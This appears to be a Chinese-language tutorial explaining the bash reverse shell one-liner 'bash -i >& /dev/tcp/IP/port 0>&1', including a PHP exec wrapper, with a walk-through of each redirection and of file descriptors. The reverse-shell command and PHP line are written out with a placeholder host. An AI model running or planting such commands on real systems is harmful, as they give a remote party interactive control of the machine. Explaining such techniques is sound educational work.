参考:
https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265
你是否使用过类似代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1' ") ?>
其中
/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'
是一段用来反弹bash到目标ip的命令。意为使用bash打开新的bash,把标准输出重定向到远程主机,标准输入重定向到标准输出。实现远程主机输入命令,在本机执行,执行结果发送给远程主机。
由于反弹shell代码可能会被PHP等通过Bourne Shell (sh)执行,而不是被bash执行,而sh不支持我们的反弹shell的某些语法。为了确保反向shell通过Bash执行,我们需要修改反向shell命令。即通过提供bash -c 的参数来实现。
/bin/bash -c ""
即使用bash执行引号里的命令。
bash -i
意为打开可交互的bash。
/bin/bash -c 'bash .........'
相当于在命令行窗口直接输入bash并回车运行,在bash中执行了“打开bash”的操作。
>&
大于号是重定向符号,意为对标准输出进行重定向,重定向到&
符号后面所给出的目标。&符号用来表明后面跟的是文件描述符(file descriptor)。>1
和>&1
是有区别的,分别代表“重定向到文件名为1的文件中,若不存在该文件则进行创建,若存在该文件则对内容进行覆盖”和“重定向到标准输出”,使用&
进行区分。&
跟在>
后的时候,被解释为重定向到文件描述符所指的目标。
/dev/tcp/xxx.xxx.xxx.xxx/port
是伪设备,代表远程主机。
>& /dev/tcp/xxx.xxx.xxx.xxx/port
表示把标准输出重定向到远程主机。
0>&1
表示把标准输入重定向到标准输出。
/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'
有两个重定向命令,>& /dev/tcp/xxx.xxx.xxx.xxx/port
执行过后,标准输出已经重定向到远程主机,再执行0>&1
,把标准输入重定向到标准输出,执行后,标准输入和标准输出都重定向到了远程主机。
注意,下列命令作用不同:(把0>&1
放到>& /dev/tcp/xxx.xxx.xxx.xxx/port
前面)
/bin/bash -c 'bash -i 0>&1 >& /dev/tcp/xxx.xxx.xxx.xxx/port'
这条命令先把标准输入重定向到标准输出,再把标准输出重定向到远程主机,执行后,标准输出的确定向到了远程主机,但标准输入未发生改变。
注:
文件描述符:
0 标准输入
1 标准输出
2 标准错误